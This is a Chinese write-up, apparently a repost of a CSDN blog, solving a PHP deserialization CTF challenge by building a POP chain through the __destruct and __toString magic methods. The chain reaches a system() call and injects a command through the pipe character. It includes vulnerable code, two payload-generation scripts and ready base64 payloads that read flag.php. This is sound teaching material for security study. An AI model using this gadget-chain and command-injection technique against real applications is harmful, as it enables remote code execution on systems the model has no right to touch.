1.ping-[pop链]-[本地复现]
第一步:代码审计
<?php
class getip{ //类:getip
public $ip; //公有属性:$ip
function __construct() //构造方法__construct():在实例化当前类前,自动被调用,用来给属性初始化
{
$this->ip = "127.0.0.1"; //属性初始化
}
function __destruct() //魔术方法__destruct():在当前类的实例化对象销毁前,自动被调用
{
echo 'The ip is' .$this->ip; //打印出当前类的属性
}
}
//很明显:
//构造方法可以属性初始化
//魔术方法可以在被调用的前提下,打印出自己的属性
//假如这个被打印的属性是某个类的实例化对象,那么那个类的的__toString()魔术方法就会被自动调用
class getresult{ //类:getresult
public $obj; //公有属性:$obj
public $ip; //公有属性:$ip
function __construct() //构造方法__construct():在实例化当前类前,自动被调用,用来给属性初始化
{
$this->ip = "127.0.0.1"; //属性初始化
$this->obj = null; //属性初始化
}
function __toString()//魔术方法__toString():当所在类的实例化对象被当作字符串操作时,自动被调用
{
$this->obj->execute(); //取以$obj属性的值为名的类的实例化对象的execute()方法,去调用
return $this->ip; //返回属性$ip
}
}
//很明显:我们可以通过第一个类,让该类的__toString()魔术方法被调用,
//假如此时该类的实例化对象的属性obj的值为ping类的实例化对象,那么就会去调用ping类的execute()方法
class ping{ //类:ping
private $ip; //私有属性:$ip
function execute(){ //自定义方法execute()
$str = 'ping '.$this->ip; //把属性$ip拼接后赋值给$str
system($str); //执行system($str)
}
}
unserialize(base64_decode($_GET['ip']));
//后台接后以GET形式提交的ip参数的值,并且base64解码,并且反序列化
?>
<!--.\flag.php-->
第二步:思路
倒推法:
想要flag--》就要执行ping类的system($str)--》就要ping类的私有$ip的值为127.0.0.1|type .\flag.php--》就要执行ping类的execute()--》就要getresult类的$obj属性的值为ping类的实例化对象--》就要getresult类的魔术方法__toString()被调用--》就要getresult类的实例化对象等于getip类的实例化对象的$ip公有属性--》就要执行析构方法--》就要反序列化getip类的实例化对象
正推法:
我们要实例化一个getip类的对象,并且该对象的公有属性$ip的值为getresult()类的实例化对象,并且该getresult类的对象的公有obj属性的值为ping类的实例化对象,并且ping类的对象的私有属性$ip的值为【127.0.0.1|type .\flag.php】,最后我们再进行序列化,base64编码,传入即可
总之:
需要创建三个类的实例化对象
第一个类的公有属性ip为第二个类的对象
第二个类的公有属性obj为第三个类的对象
第三个类的私有属性ip为127.0.0.1|type .\flag.php
第三步:编写代码,构造payload
方法一:利用php7.2.10对私有公有属性的不严格处理,解决私有属性在序列化后的不可间字符不可赋值的问题
<?php
class getip{
public $ip;
function __construct()
{
$this->ip = "127.0.0.1";
}
function __destruct()
{
echo 'The ip is' .$this->ip;
}
}
class getresult{
public $obj;
public $ip;
function __construct()
{
$this->ip = "127.0.0.1";
$this->obj = null;
}
function __toString()
{
$this->obj->execute();
return $this->ip;
}
}
class ping{
#private $ip;
public $ip; //php7.2.10版本,会忽略私有、公有
function execute(){
$str = 'ping '.$this->ip;
system($str);
}
}
$chen = new getip();
$chen->ip = new getresult();
$chen->ip->obj = new ping();
$chen->ip->obj->ip = '127.0.0.1|type .\flag.php';
$chen = serialize($chen);
echo "<br />".$chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:2:"ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
$chen = base64_encode($chen);
echo $chen."<br />";
//Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e3M6MjoiaXAiO3M6MjU6IjEyNy4wLjAuMXx0eXBlIC5cZmxhZy5waHAiO31zOjI6ImlwIjtzOjk6IjEyNy4wLjAuMSI7fX0
payload1:以GET形式通过参数ip传递
?ip=Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e3M6MjoiaXAiO3M6MjU6IjEyNy4wLjAuMXx0eXBlIC5cZmxhZy5waHAiO31zOjI6ImlwIjtzOjk6IjEyNy4wLjAuMSI7fX0=
方法二:利用S十六进制表示,解决私有属性在序列化后的不可间字符不可赋值的问题
<?php
class getip{
public $ip;
function __construct()
{
$this->ip = "127.0.0.1";
}
function __destruct()
{
echo 'The ip is' .$this->ip;
}
}
class getresult{
public $obj;
public $ip;
function __construct()
{
$this->ip = "127.0.0.1";
$this->obj = null;
}
function __toString()
{
$this->obj->execute();
return $this->ip;
}
}
class ping{
private $ip = '127.0.0.1|type .\flag.php';
#public $ip; //php7.2.10版本,会忽略私有、公有
function execute(){
$str = 'ping '.$this->ip;
system($str);
}
}
$chen = new getip();
$chen->ip = new getresult();
$chen->ip->obj = new ping();
$chen = serialize($chen);
echo "<br />".$chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:8:"pingip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
//很明显:ping类的ip属性是私有属性,会在序列化的时候出现不可见字符,不能赋值,所以我们要替换不可见字符
$chen = str_replace(chr(00),'\00',$chen);
echo $chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{s:8:"\00ping\00ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
$chen = str_replace('s:8:','S:8:',$chen);
echo $chen."<br />";
//O:5:"getip":1:{s:2:"ip";O:9:"getresult":2:{s:3:"obj";O:4:"ping":1:{S:8:"\00ping\00ip";s:25:"127.0.0.1|type .\flag.php";}s:2:"ip";s:9:"127.0.0.1";}}
var_dump(unserialize($chen));
//object(getip)[4]
// public 'ip' =>
// object(getresult)[5]
// public 'obj' =>
// object(ping)[6]
// private 'ip' => string '127.0.0.1|type .\flag.php' (length=25)
// public 'ip' => string '127.0.0.1' (length=9)
$chen = base64_encode($chen);
echo "<br />".$chen."<br />";
//Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e1M6ODoiXDAwcGluZ1wwMGlwIjtzOjI1OiIxMjcuMC4wLjF8dHlwZSAuXGZsYWcucGhwIjt9czoyOiJpcCI7czo5OiIxMjcuMC4wLjEiO319
payload2:以GET形式通过参数ip传递
?p=Tzo1OiJnZXRpcCI6MTp7czoyOiJpcCI7Tzo5OiJnZXRyZXN1bHQiOjI6e3M6Mzoib2JqIjtPOjQ6InBpbmciOjE6e1M6ODoiXDAwcGluZ1wwMGlwIjtzOjI1OiIxMjcuMC4wLjF8dHlwZSAuXGZsYWcucGhwIjt9czoyOiJpcCI7czo5OiIxMjcuMC4wLjEiO319
第四步:由于是本地复现,所以恢复页面代码如初,提交参数,查看页面源码,发现flag
payload1:成功
图略 payload2:失败
图略
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/109957803